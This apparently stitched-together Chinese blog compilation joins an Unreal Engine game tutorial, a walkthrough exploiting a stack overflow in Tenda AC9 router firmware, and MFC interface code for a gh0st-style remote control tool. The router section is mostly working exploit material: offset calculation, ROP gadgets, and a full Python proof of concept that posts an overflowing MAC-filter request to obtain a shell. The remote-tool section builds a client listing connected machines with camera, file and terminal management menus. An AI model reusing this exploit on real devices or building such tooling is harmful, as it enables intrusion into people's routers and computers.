ACloudSpawner::ACloudSpawner(){     // Set this actor to call Tick() every frame.  You can turn this off to improve performance if you don't need it.    PrimaryActorTick.bCanEverTick = true;    SpawnArea = CreateDefaultSubobject<UBoxComponent>(TEXT("SpawnArea"));    TriggerArea = CreateDefaultSubobject<UBoxComponent>(TEXT("TriggerArea"));     DefaultRootComponent = CreateDefaultSubobject<UBoxComponent>(TEXT("DefaultRootComponent"));    RootComponent = DefaultRootComponent;    SpawnArea->SetupAttachment(RootComponent); //将SpawnArea绑定到RootComponent下    TriggerArea->SetupAttachment(RootComponent); //将TriggerArea绑定到RootComponent下    InitialSpawnAmount = 6;    SpawnSpacing = 300.0f;    //DefaultRootComponent = CreateDefaultSubobject<USceneComponent>(TEXT("DefaultRootComponent"));    //RootComponent = DefaultRootComponent;    //SpawnArea = CreateDefaultSubobject<UBoxComponent>(TEXT("SpawnArea"));    //SpawnArea->SetupAttachment(RootComponent);    //TriggerArea = CreateDefaultSubobject<UBoxComponent>(TEXT("TriggerArea"));    //TriggerArea->SetupAttachment(RootComponent);}

声明并且实例化云彩生成器 SpawnArea 生成云；TriggerArea清除云，并将他们绑定到根组件下，方便其整体的移动

游戏开始时，先进入reset（）函数

先把获取所有的云放进指针数组里面，然后通过遍历删除所有云彩,如果类型转换不为空就进入 Destroy() ，然后根据InitialSpawnAmount记录的云彩数量进行生成。

void ACloudSpawner::Reset(){    InitialSpawnAmount = 6;    SetActorLocation(FVector::ZeroVector);   //将云彩生成器的位置归零    TArray<AActor*> FoundClouds;    UGameplayStatics::GetAllActorsOfClass(GetWorld(), ACloud::StaticClass(), FoundClouds);  //通过获取所有actor来找到所以云    for (AActor* TActor : FoundClouds)    {        ACloud* MyCloud =  Cast<ACloud>(TActor);        if (MyCloud != nullptr)        {            MyCloud->Destroy();        }    }    while (InitialSpawnAmount >= 0)    {        SpawnCloud();        InitialSpawnAmount--;    }}

利用 SpawnCloud() 来生成云彩。 注释写的比较清楚了

AddActorWorldOffset(FVector(0, 0, SpawnSpacing)); 是将CloudSpawn向上移动 SpawnSpacing 的距离

void ACloudSpawner::SpawnCloud(){    FVector SpawnOrigin = SpawnArea->Bounds.Origin;    //获得盒子中心点    FVector SpawnExtent = SpawnArea->Bounds.BoxExtent; //获得盒子范围    float YLocation  = UKismetMathLibrary::RandomPointInBoundingBox(SpawnOrigin, SpawnExtent).X;  //随机范围内获得Y方向的点    //FVector SpawnLocation = FVector(SpawnArea->GetComponentLocation().X, YLocation, SpawnArea->GetComponentLocation().Z);  //是Component组件类型所以调用GetComponentLocation，若为actor类型则调用GetActorLocation    FVector SpawnLocation = FVector(YLocation, SpawnArea->GetComponentLocation().X, SpawnArea->GetComponentLocation().Z);  //是Component组件类型所以调用GetComponentLocation，若为actor类型则调用GetActorLocation    FActorSpawnParameters SpawnParams;    GetWorld()->SpawnActor<ACloud>(Cloud, SpawnLocation, FRotator::ZeroRotator, SpawnParams);     //生成cloud    AddActorWorldOffset(FVector(0, 0, SpawnSpacing));}

ps:冒号起分割作用，是类给成员变量赋值的方法，初始化列表，更适用于成员变量的常量const型。struct _XXX{_XXX() : y(0xc0) {}};

NotifyActorBeginOverlap用于处理碰撞。当碰撞的对象是主角 benben 时 就在生成一个云彩

void ACloudSpawner::NotifyActorBeginOverlap(AActor* OtherActor){    Super::NotifyActorBeginOverlap(OtherActor);    benben = Cast<Abenben>(OtherActor);    if (benben) {        SpawnCloud();    }}

InitialSpawnAmount 用于设置云彩生成打算数量

SpawnSpacing 用于生成云彩生成的距离

UPROPERTY(EditAnywhere, Category = "Cloud")int InitialSpawnAmount;UPROPERTY(EditAnywhere, Category = "Cloud")float SpawnSpacing;

显示分数

在.h中声明两个函数

void IncreaseScore();int Score;int GetScore() const;

在 .cpp 中

void Abenben::IncreaseScore(){    Score++;}int Abenben::GetScore() const{    return Score;}

在cloud.h中声明void DisplayScore();函数

创建一个在蓝图中的默认对象，并把他绑定在根目录下。

displayscore函数用来修改显示分数的文本

编译后调整文本的位置大小，把初始文本设置为 空格 。

TimeLine控制云彩字体的缩放和透明度

在cloud.h中

UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = "Show")        //可以在蓝图中读取，指定可以在外部查看，类别为showUStaticMeshComponent* CloudPlane;    UFUNCTION(BlueprintImplementableEvent)void FadeOut();UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = "Show")UMaterialInstanceDynamic* MatInstance;                 //用于指定不透明度

使得FadeOut可以在蓝图中调用。

在cloud.cpp中调用

void ACloud::NotifyActorBeginOverlap(AActor* OtherActor){    Super::NotifyActorBeginOverlap(OtherActor);     //先调用父类的该方法    Benben = Cast<Abenben>(OtherActor);    if (Benben != NULL)    {        Benben->Lanuch();        DisplayScore();        UGameplayStatics::PlaySoundAtLocation(this, CloudSound, GetActorLocation());        //Destroy();        FadeOut();    }}

编译

因为Cloud Plane 和 MatInstance都已经在C++中暴露给蓝图，所以可以直接调用，先由updata控制逐帧物体缩放和不透明度

时间轴如下，物体先放大一下然后缩小

透明度逐渐减小，然后消失，要设置的浮点型对象为Opacity

找到模型所使用的材质，可以发现不透明度 的设置是由 A-Opacity控制的，这就是上面要设置Opacity的原因

游戏结束

用bDead表示角色是否死亡，用bGameStarted来表示游戏是否结束

void GameOver();UPROPERTY(BlueprintReadOnly)bool bDead;bool bGameStarted;

当游戏结束时bDead设置为0 然后开启输入 并且展示结束的UI界面（这个在下一个小结来写）

void Abenben::GameOver(){    bDead = true;    SetActorRotation(FRotator::ZeroRotator);    EnableInput(PC);    DisplayRestart();}

把它放在Tick中不断调用

void Abenben::Tick(float DeltaTime){    Super::Tick(DeltaTime);    MoveTowardsCursor();    if (bGameStarted)    {        if (GetActorLocation().Z <= -48)        {            GameOver();        }    }}

UI界面 重新开始按钮

创建一个控件蓝图

设置大小对齐 和 Style，添加一个动画

在游戏开始时把该控件创建出来，并且用一个变量保存 。执行displayrestart 时把该变量显示出来，并且播放动画

点击时触发事件

void Abenben::Reset(){    bGameStarted = false;    Score = 0;    bDead = false;}

void ACloudSpawner::Reset(){    InitialSpawnAmount = 6;    SetActorLocation(FVector::ZeroVector);    TArray<AActor*> FoundClouds;    UGameplayStatics::GetAllActorsOfClass(GetWorld(), ACloud::StaticClass(), FoundClouds);  //通过获取所有actor来找到所以云    for (AActor* TActor : FoundClouds)    {        ACloud* MyCloud =  Cast<ACloud>(TActor);        if (MyCloud != nullptr)        {            MyCloud->Destroy();        }    }    while (InitialSpawnAmount >= 0)    {        SpawnCloud();        InitialSpawnAmount--;    }}

当点击时，分别执行0.1.2.3这些事件 ，先调用benben->REset 设置bGameStarted Score bDead 这些属性

获得摄像机让其跟随玩家

用 ACloudSpawner::Reset 销毁所有云，然后重新生成。

最后销毁自身。

随机显示下雨

.h 中

UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = "Show")        //指定可以在外部查看，类别为showUStaticMeshComponent* RainPlane;UPROPERTY(EditAnyWhere, Category = "Sound")USoundCue* CloudSound;UPROPERTY(VisibleAnyWhere, Category = "Sound")UAudioComponent* AudioComp;

.cpp中 添加组件

RainPlane = CreateDefaultSubobject<UStaticMeshComponent>(TEXT("RainPlane"));        //添加模型组件RainPlane->SetupAttachment(CloudPlane);AudioComp = CreateDefaultSubobject<UAudioComponent>(TEXT("AudioComp"));AudioComp->SetupAttachment(CloudPlane);

导入声音并且关闭自动激活

把声音创建为cue这样才有根据距离调整音量的效果。

把衰减音量的选项打开，根据实际情况调整衰减半径

添加雨的贴图然后把visible设置为不可见。

每次生成云时生成一个index随机数index若其>=10则将雨设为可见，如果是有雨的云就打开声效。在开始生成云时调用。

导入并且指定主角材质

如图就不多说了

新建一个动画蓝图，并设置主角的骨架。

在BPbinbin下指定动画

用状态机播放动画

用状态机处理角色走路 跳跃 下落 死亡 等动画

为每个状态指定好动画

新建 isfalling isjumping 变量来判断角色运动状态。

当isjumping为true时播放跳跃动画，isfalling为true时播放下落动画，都为false时播放走路动画

那么我们如果给isfalling isjumping 赋值呢？

设置状态切换条件

通过判断角色z方向的速度设置变量

混合空间

新建一个混合空间,其骨架设置为主角。

将该混合空间命名为speed拖入两个速度时的动画

把刚才的混合空间作为动画的输出，其参数为新声明的bool变量 speed。

在蓝图中设置speed

把bDead暴露给蓝图。在蓝图中把bDead设置为空（见上图）

当isdead为真时才播放死亡动画，为假时播放其他动画，把loop设置为false否则会死了又死

这个reset child on activation让其可以从头开始播放。

背景音乐 动画通知播放脚步声 碰撞云彩声

把背景音乐放到场景中，设置loop即可

如下图播放到相应位置时添加通知 playsound 并添加 声音

在cloud.h中声明

UPROPERTY(EditAnyWhere, Category = "Sound")USoundCue* CloudSound;

在cloud.cpp中

void ACloud::NotifyActorBeginOverlap(AActor* OtherActor){    Super::NotifyActorBeginOverlap(OtherActor);     //先调用父类的该方法    Benben = Cast<Abenben>(OtherActor);    if (Benben != NULL)    {        Benben->Lanuch();        DisplayScore();        UGameplayStatics::PlaySoundAtLocation(this, CloudSound, GetActorLocation());        //Destroy();        FadeOut();    }}

在显示分数后播放

将音效创建为 cue

在蓝图中选定资源

游戏发布

打包就完事了

但是我却遇到了一些问题

包含了一个UE无法编译的头文件，多亏了学长的帮助才解决了

mips架构简介

寄存器寄存器    名字    用法$0    $zero    常量0(constant value 0)$1    $at    保留给汇编器(Reserved for assembler)$2-$3    $v0-$v1    函数调用返回值(values for results and expression evaluation)$4-$7    $a0-$a3    函数调用参数(arguments)$8-$15    $t0-$t7    暂时的(或随便用的)$16-$23    $s0-$s7    保存的(或如果用，需要SAVE/RESTORE的)(saved)$24-$25    $t8-$t9    暂时的(或随便用的)$28    $gp    全局指针(Global Pointer)$29    $sp    堆栈指针(Stack Pointer)$30    $fp    帧指针(Frame Pointer)$31    $ra    返回地址(return address)

参数传递：如果参数少于4个，通过a0-a3寄存器传递参数，否则其余通过堆栈传递。

参数作为调用者（caller）栈帧的一部分，4个32bits空间为a0~a3预留（即使参数通过寄存器传递）。被调者（callee）在函数前言部分分配自己的栈空间分配（返回地址/栈帧指针/局部变量），同时栈帧指针（fp）将指向最新的栈空间，并且所有局部变量通过栈帧指针偏移寻址，堆栈指针（sp）不再发生变化。

以上即为在mips架构中用到的寄存器以及寄存器的作用。这边重点讲一下$ra、$a0这两个寄存器，因为$ra寄存器为函数的返回地址，进行栈溢出时需要对函数返回地址进行覆盖；$a0这个寄存器存放的数据为函数的第一个参数，例如在函数system(“/bin/sh”)中，$a0寄存器存放的值即为”/bin/sh”，这给我们在gadget构造中具有指向作用。

Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载：https://www.tenda.com.cn/service/download-cata-11.html

仿真模拟

binwalk导出固件文件系统

binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin

查看文件信息，mips，小端序，所以需要使用对应的qemu-mipsel-static来模拟。

readelf -h ./bin/httpdbinwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin

可以看出是mips架构因此我们需要用qemu-mipsel-static模式进行仿真。

为了执行文件，我们需要给httpd文件打上patch.

然后建立一个虚拟网卡，用于之后的gdb调试。

sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0

将qemu-mipsel-static拷贝到目录下，然后以qemu-mipsel-static模式运行

cp $(which qemu-mipsel-static) .sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

如果有报错信息可以按照提示目录创建目标文件。

漏洞分析

漏洞函数就是strcpy中，因为没有限制长度而存在的溢出，从而在上一个函数set_macfilter_rules_by_one引发栈溢出。

我们通过查询交叉引用来找到引发漏洞函数的执行流程。

formSetMacFilterCfg -> set_macfilter_rules -> set_macfilter_rules_by_one -> parse_macfilter_rule

1.formSetMacFilterCfg

对传入的rule_list进行判断，如果为black或者white就返回0，如果不是就返回2。用burp抓包也会返回error2

2.set_macfilter_rules

判断数据段是否有\n 所以之后我们构造的rop链中也要包含 \n

3.set_macfilter_rules_by_one

4.parse_macfilter_rule

判断字符串开头是否为\r ，所以rop链中开头为 \r

漏洞分析完毕，之后就需要判断需要溢出的长度。这里可以用cyclic或者是用gdb调试来得出

在set_macfilter_rules_by_one栈中的情况

0x1d4 + 4 = 0x1D8 = 472

所以我们需要需要填充472个字符然后再覆盖返回地址。但是ida计算的偏移可能是错误的，所以还是要调试一下。

#!/usr/bin/python3import requestsfrom pwn import *url = "http://192.168.183.133/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}data = {"macFilterType": "black", "deviceList":"\r" +  "A" * 472 + "bbbb"}requests.post(url, cookies=cookie, data=data)

可以看见ra被覆盖为了bbbb,这就说明我们的计算是正确的。

漏洞利用

寻找libc基址

方法1 ：

直接利用vmmap，找到libc，里面带有执行权限 x 的 就是libc的基地址。

方法2 ：

在刚进入formSetMacFilterCfg函数时，也即0x04E6E0C处打下断点。用bt查看栈中函数链

发现栈中有一个来自libc中的函数。我们在libc里面寻找__uClibc_main ，在export导出表找到了。

计算一下0x7f583804 - 0x005F804 = 0x7F524000

这样也可以寻找到libc基地址

构造rop链

对于mips下rop链的构造，经常使用到的是move $a0 $s0 。 我们可以使用一个ida工具mipsrop来寻找

在File -> script command 执行两句话

然后执行 mipsrop.find(“move $a0 $s0”)

import mipsropmipsrop = mipsrop.MIPSROPFinder()

----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x0000DC1C  |  move $a0,$s0                                        |  jalr  $s1                             ||  0x00014EBC  |  move $a0,$s0                                        |  jalr  $s7                             ||  0x00014F80  |  move $a0,$s0                                        |  jalr  $s6                             ||  0x00015E04  |  move $a0,$s0                                        |  jalr  $s7                             ||  0x00015EC8  |  move $a0,$s0                                        |  jalr  $s6                             ||  0x00018BA0  |  move $a0,$s0                                        |  jalr  $s1                             ||  0x0001998C  |  move $a0,$s0                                        |  jalr                             |

随便选择一个，我们就选择0x0000DC1C

这个gadget可以直接跳转到s0所存储的函数，所以我们在gadget中把system地址放在s1 , 把”/bin/sh”放在s0

同样，我们为了寻找给s0,s1赋值的gadget ，可以输入mipsrop.find(“lw $s0”)

那么我们对所有需要的寄存器都可以进行控制了，rop链构造为

b"\r" +  b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)

报错解决

根据我们得到的rop链打一下

#!/usr/bin/python3import requestsfrom pwn import *url = "http://192.168.183.133/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052C     #0x7F524000lib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530    #0x7F584530gadget2=libc_base+0x0000DC1C    #0x7F531C1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = {"macFilterType": "black", "deviceList":b"\r" +  b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}requests.post(url, cookies=cookie, data=data)

但是却报错 了

经过调试发现是进入snprintf时候报错

继续进行调试，找到strcpy之前上一个函数的栈帧

strcpy执行之后的栈帧

对比可以发现，我们覆盖掉了上一函数传入的参数，而在执行snprintf的时候会用到所传入的参数，所以我们需要把传入的第一个参数修改为一个可以访问的地址

最后

将第一个参数的位置改为可访问的地址

data = {“macFilterType”: “black”, “deviceList”:b”\r” + b”A” * 472 + p32(gadget1)+p32(0x7FFFF090)+b”A”*20+p32(binsh_addr)+p32(system_addr)+b”A”*12+p32(gadget2)}

修改poc

#!/usr/bin/python3import requestsfrom pwn import *url = "http://192.168.183.133/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052C     #0x7F524000lib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530    #0x7F584530gadget2=libc_base+0x0000DC1C    #0x7F531C1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = {"macFilterType": "black", "deviceList":b"\r" +  b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}requests.post(url, cookies=cookie, data=data)

最后成功getshell

1.1 创建窗口

1.新建一个工程，看操作 我们必须给工程起一个响亮的名字 :-D 就叫CMDghost吧

2.添加最大化窗口，最小化窗口的属性

3.更改对话框到适当大小

4.添加服务端连接后显示的列表控件IDC_ONLINE，日志列表控件IDC_MESSAGE

6.添加列表控件变量m_CList_Online,m_CList_Message

7.相应对话框改变大小的消息WM_SIZE就是 向对话框抛出这个消息对话框就会改变大小，我们先相应这个消息，然后再把这个消息
向下传递

9.示范伸缩

10.伸缩同原来的有差别，介绍一个小技巧 在OnInitDialog:

当对话框改变时，WM_SIZE抛出消息由OnInitDialog响应，此时对话框还没有显示，可以在显示前改变对话框。

1.2 添加列表中的列名

1.参考gh0st的列表中的列名:
0IP 1所在区域 2计算机名/备注 3操作系统 4CPU 5摄像头 6Ping

2.上一节我们为列表控件添加变量，我们来查看变量的类型:
CListCtrl 类 查看MSDN 找到

int InsertColumn(                int nCol,                  //列的顺序                LPCTSTR lpszColumnHeading, //列的名字                int nFormat = LVCFMT_LEFT,  //列对齐的方式 LVCFMT_LEFT, LVCFMT_RIGHT,LVCFMT_CENTER                int nWidth = -1,            //列的宽度                int nSubItem = -1           //与之联系的子条目 默认为-1 我们不用写                );

3.有了这些我们可以现在就写入代码了，但请等一下我们来考虑一下以后的扩展问题，假如我们要加入新的列那会不会很麻烦，我们每一个列都写入了固定的

顺序(0–6)没有考虑扩展，比如在CPU列的后面加入显示内存大小，那么加入的就是第5列，而第5列恰好是摄头，这样显示的数据就会混乱(其实这个正是我写

PCRat时犯的错误)，解决这个问题的方式就是用枚举enum 写入列的顺序时不写入硬编码(0—-6)而是写入枚举成员这样我们只需很小的改动就能达到目的。

4.需要一个列表记录表格中的字符，因为这个列表比较重要所以要放到一个每一个文件都能访问到的文件，我这里选择了framework.h

enum{    ONLINELIST_IP=0,          //IP的列顺序    ONLINELIST_ADDR,          //地址    ONLINELIST_COMPUTER_NAME, //计算机名/备注    ONLINELIST_OS,           //操作系统    ONLINELIST_CPU,          //CPU    ONLINELIST_VIDEO,       //摄像头    ONLINELIST_PING          //PING};

5.处理列表的代码应该统一放在一处，添加列表处理的代码InitList()

虽然列表可以直接写在OnInitDialog，但直接在这里初始化太过臃肿，所以可以添加成员函数

6.写入加入列表列名的代码:

列表的名字与列表的宽度是同一一对应的关系，以后为了以后修改方便建立这样的一个结构体:

 typedef struct{    char    *title;           //列表的名称    int        nWidth;   //列表的宽度}COLUMNSTRUCT;

以char类型表示 列表的名字，以int 类型表示列表的宽度

然后建立这个结构体变量的数组

   COLUMNSTRUCT g_Column_Data[] = {    {"IP",                148    },    {"区域",            150    },    {"计算机名/备注",    160    },    {"操作系统",        128    },    {"CPU",                80    },    {"摄像头",            81    },    {"PING",            81    }};

添加全局变量int g_Column_Count=7; //列表的个数

7.在initList中写入加入列表列名称的代码并解释:

 for (int i = 0; i < g_Column_Count; i++){    m_CList_Online.InsertColumn(i, g_Column_Data[i].title,g_Column_Data[i].nWidth);}

我这里会报错，是因为使用了uncode字符集，需要修改为使用多字节字符集

int InsertColumn(                int nCol,                  //列的顺序                LPCTSTR lpszColumnHeading, //列的名字                int nFormat = LVCFMT_LEFT,  //列对齐的方式 LVCFMT_LEFT, LVCFMT_RIGHT,LVCFMT_CENTER                int nWidth = -1,            //列的宽度                int nSubItem = -1           //与之联系的子条目 默认为-1 我们不用写                );

再看一下InsertColumn ，传入的参数分别是顺序，名字，对齐方式 ，宽度

8.在OnInitDialog中写入InitList()

9.改变列表控件的属性 ICon 改为Report

10.同样的方法改动日志消息的列表控件看操作

  //变量声明   int g_Column_Count_Online=7; //列表的个数COLUMNSTRUCT g_Column_Data_Message[] = {    {"信息类型",        68    },    {"时间",            100    },    {"信息内容",        660    }};//InitListfor (int i = 0; i < g_Column_Message; i++)    {        m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].title,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth);    }

11.改变列表控件的属性 ICon 改为Report

1.3 列表的列宽度支持伸缩

1.CListCtrl SetColumnWidth 查看MSDN
BOOL SetColumnWidth(
int nCol, //列索引
int cx //列宽度
);

2.声明列的总宽度:

        int g_Column_Online_Width=0;  //列总宽度

3.得到列的总宽度 initlist中:

       g_Column_Online_Width+=g_Column_Online_Data[i].nWidth;       //得到总宽度

4.在OnSize 添加代码:

      double dcx=cx;     //对话框的总宽度      for(int i=0;i<g_Column_Online_Count;i++){                   //遍历每一个列        double dd=g_Column_Online_Data[i].nWidth;     //得到当前列的宽度        dd/=g_Column_Online_Width;                    //看一看当前宽度占总长度的几分之几        dd*=dcx;                                       //用原来的长度乘以所占的几分之几得到当前的宽度        int lenth=dd;                                   //转换为int 类型        m_CList_Online.SetColumnWidth(i,(lenth));        //设置当前的宽度    }

5.解释为什么用double

          double   0.1        int 0             90.23232

6.改变日志的列表宽度(与之前相同)

  (1)int g_Column_Message_Width = 0;  //列总宽度   (2)g_Column_Message_Width += g_Column_Data_Message[i].nWidth;       //得到总宽度   for (int i = 0;i < g_Column_Message;i++) {                   //遍历每一个列            double dd = g_Column_Data_Message[i].nWidth;     //得到当前列的宽度            dd /= g_Column_Message_Width;                    //看一看当前宽度占总长度的几分之几            dd *= dcx;                                       //用原来的长度乘以所占的几分之几得到当前的宽度            int lenth = dd;                                   //转换为int 类型            m_CList_Message.SetColumnWidth(i, (lenth));        //设置当前的宽度        }

1.4 列表中添加条目

1.CListCtrl

           InsertItem  插入条目           int InsertItem(                     int nItem,              //插入哪一行                     LPCTSTR lpszItem        //该行0列显示的字符           );          SetItemText         设置哪个列的字符          BOOL SetItemText(                      int nItem,                   //改动那个行                      int nSubItem,                //该行中那个子列                      LPCTSTR lpszText             //要设置的字符          );

2.列表设计思路:

         (1)服务端上线后要显示在列表中，这样有一个统一的函数来处理会使代码更加简洁。         (2)消息显示分为成功失败两种，还要在其中显示消息产生的时间，这样也应该有一个统一的函数来处理。

3.上线列表添加处理:

void CPCRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing){    m_CList_Online.InsertItem(0,strIP);           //默认为0行  这样所有插入的新列都在最上面    m_CList_Online.SetItemText(0,ONLINELIST_ADDR,strAddr);      //设置列的显示字符   这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法    m_CList_Online.SetItemText(0,ONLINELIST_COMPUTER_NAME,strPCName); //解决问题会避免以后扩展时的冲突    m_CList_Online.SetItemText(0,ONLINELIST_OS,strOS);     m_CList_Online.SetItemText(0,ONLINELIST_CPU,strCPU);    m_CList_Online.SetItemText(0,ONLINELIST_VIDEO,strVideo);    m_CList_Online.SetItemText(0,ONLINELIST_PING,strPing); }

在类视图CMFghostDlg中添加函数AddList ，并设置参数

在资源管理器CMFCghostDlg中的AddList设置函数体

4.添加日志消息的处理:

// show msg void CPCRemoteDlg::ShowMessage(bool bIsOK, CString strMsg){    CString strIsOK,strTime;    CTime t=CTime::GetCurrentTime();    strTime=t.Format("%H:%M:%S");    if (bIsOK)    {        strIsOK="执行成功";    }else{        strIsOK="执行失败";    }     m_CList_Message.InsertItem(0,strIsOK);     m_CList_Message.SetItemText(0,1,strTime);     m_CList_Message.SetItemText(0,2,strMsg);}

在类视图CMFghostDlg中添加函数ShowMessage ，并设置参数

在资源管理器CMFCghostDlg中的ShowMessage设置函数体

5.添加伪上线，和日志的测试代码,在没有加入gh0st传输内核之前是要自己测试的，所以要加入一个用于测试的函数:

void CPCRemoteDlg::Test(void){    AddList("192.168.0.1","本机局域网","Lang","Windows7","2.2GHZ","有","123232");    ShowMessage(true,"软件初始化成功...");}

然后在OnInitDialog 中添加:

Test();

6.点击时整个列都是选中状态

 InitList():中加入代码:   m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);   m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);

1.5 列表中显示弹出菜单

在资源视图中选择添加资源 menu

在该menu视图中编辑内容

添加响应函数

在类视图中点击MFCghostDlg,选择属性，在IDC_ONLINE中设置NM_RCLICK事件.这样点击后就可触发响应函数中的代码。

填充函数

CMenu    popup;     //申明菜单变量popup.LoadMenu(IDR_MENU_ONLINE);  //加载菜单项CMenu* pM = popup.GetSubMenu(0);  //得到菜单项CPoint    p;                       GetCursorPos(&p);             //得到鼠标位置int    count = pM->GetMenuItemCount();     //得到菜单项的个数if (m_CList_Online.GetSelectedCount() == 0)       //如果没有选中{    for (int i = 0; i < count; i++)    {        pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED);          //菜单全部变灰    }}pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);    //显示菜单项*pResult = 0;

这样点击右键就可以看到列表了

1.6 添加菜单消息响应，从列表中删除条目

1.添加菜单消息响应的函数:

     终端管理     进程管理    窗口管理    桌面管理     文件管理    语音管理     视频管理   服务管理     注册表管理

2.删除列表中的条目:

  CListCtrl       (1)DeleteItem                BOOL DeleteItem(                             int nItem              //列表的索引  从0开始               );                 (2)GetSelectionMark                   int GetSelectionMark( );        //得到用户选中的条目索引

3.添加下线菜单 断开连接 ID: IDM_ONLINE_DELETE

4.添加菜单响应消息，添加代码:

                 int iSelect=m_CList_Online.GetSelectionMark( );                         m_CList_Online.DeleteItem(iSelect);

5.产生下线日志:

         CListCtrl     GetItemText                        CString GetItemText(                                         int nItem,          //哪一行                                         int nSubItem        //行中的那个子列                       ) const;

6.接着添加代码:

CString strIP;int iSelect=m_CList_Online.GetSelectionMark( );strIP=m_CList_Online.GetItemText(iSelect,ONLINELIST_IP);m_CList_Online.DeleteItem(iSelect);strIP+="断开连接";ShowMessage(true,strIP);

1.7 为对话框添加菜单栏并添加事件响应

1.创建菜单的资源 ID: IDR_MENU_MAIN

2.添加菜单:

        文件--退出(IDM_MAIN_CLOSE)        设置--参数设置(IDM_MAIN_SET)----生成服务端(IDM_MAIN_BUILD)        帮助--关于(IDM_MAIN_ABOUT)

3.为对话框添加代码,显示菜单:

   (1) 认识几个API函数:          HMENU LoadMenu(                    //载入菜单               HINSTANCE hInstance,          //资源所在文件模块的句柄标识               LPCTSTR lpMenuName           //资源ID           );            BOOL SetMenu(                  //为窗口设置菜单              HWND hWnd,                 //要设置菜单的窗口句柄              HMENU hMenu                //菜单标识            );           BOOL DrawMenuBar(          //显示菜单                   HWND hWnd          //要显示菜单的窗口句柄            );  (2)添加添加菜单的代码  oninitdialogHMENU hmenu;hmenu=LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN));  //载入菜单资源::SetMenu(this->GetSafeHwnd(),hmenu);                  //为窗口设置菜单::DrawMenuBar(this->GetSafeHwnd());                    //显示菜单

3.为每一个菜单添加事件响应

4.添加代码:

  退出菜单代码:         BOOL PostMessage(          HWND hWnd,             //标识向那个窗口发送消息                                    UINT Msg,              //消息内容                                    WPARAM wParam,         //消息参数                                     LPARAM lParam          //消息参数        );         PostMessage(WM_CLOSE,0,0); 关于菜单代码:       CAboutDlg dlgAbout;       dlgAbout.DoModal();其他代码用MessageBox代替

1.8 为对话框添加状态条并在态条上显示文字

1.创建字符串资源 ID: IDR_STATUSBAR_STRING

2.添加状态条变量:

    CStatusBar  m_wndStatusBar;              //状态条

3.查看MSDN:

    CStatusBar  SetIndicators                      BOOL SetIndicators(           //在状态条中加入对应字符串ID                      const UINT* lpIDArray,   //字符串ID                                        int nIDCount     //个数                );                void SetPaneInfo(         //设置状态条的显示状态                              int nIndex,     //状态条的索引                              UINT& nID,      //状态条的字符ID                              UINT& nStyle,    //状态条的样式                               int& cxWidth    //状态条的宽度                ) const;

4.写入代码创建状态条的代码:

  (1)  创建字符ID的数组           static UINT indicators[] =           {           IDR_STATUSBAR_STRING               };   (2)添加CreatStatusBar函数并写入代码:        if (!m_wndStatusBar.Create(this) ||    !m_wndStatusBar.SetIndicators(indicators,    sizeof(indicators)/sizeof(UINT)))                    //创建状态条并设置字符资源的ID     {    TRACE0("Failed to create status bar\n");    return ;      // fail to create         }       CRect rc;       ::GetWindowRect(m_wndStatusBar.m_hWnd,rc);                    m_wndStatusBar.MoveWindow(rc);                              //移动状态条到指定位置   (3)在OnSize 中添加代码:          if(m_wndStatusBar.m_hWnd!=NULL){    //当对话框大小改变时 状态条大小也随之改变    CRect rc;    rc.top=cy-20;    rc.left=0;    rc.right=cx;    rc.bottom=cy;    m_wndStatusBar.MoveWindow(rc);    m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0),SBPS_POPOUT, cx-10);     }

5.写入状态上显示文字的代码:

       .h中添加变量 int iCount   CString strStatusMsg;if (strMsg.Find("上线")>0)         //处理上线还是下线消息{    iCount++;}else if (strMsg.Find("下线")>0){    iCount--;}else if (strMsg.Find("断开")>0){    iCount--;}iCount=(iCount<=0?0:iCount);         //防止iCount 有-1的情况strStatusMsg.Format("有%d个主机在线",iCount);m_wndStatusBar.SetPaneText(0,strStatusMsg);   //在状态条上显示文字

6.列表中添加条目时产生日志:
Addlist 中添加
ShowMessage(true,strIP+”主机上线”);

1.9 为对话框添加入工具条

1.创建工具条资源 ID: IDR_TOOLBAR_MAIN
添加 IDR_TOOLBAR_MAIN 时 修改大小

              共12个工具条  9+3

2.添加BMP资源:

图片格式需要为bmp图片，在bitmap中导入资源

             ID:  IDB_BITMAP_MAIN

3.复制TrueColorToolBar文件，添加CTrueColorToolBar类.

4.添加:

   #include "TrueColorToolBar.h"

5.声明变量:
CTrueColorToolBar m_ToolBar;

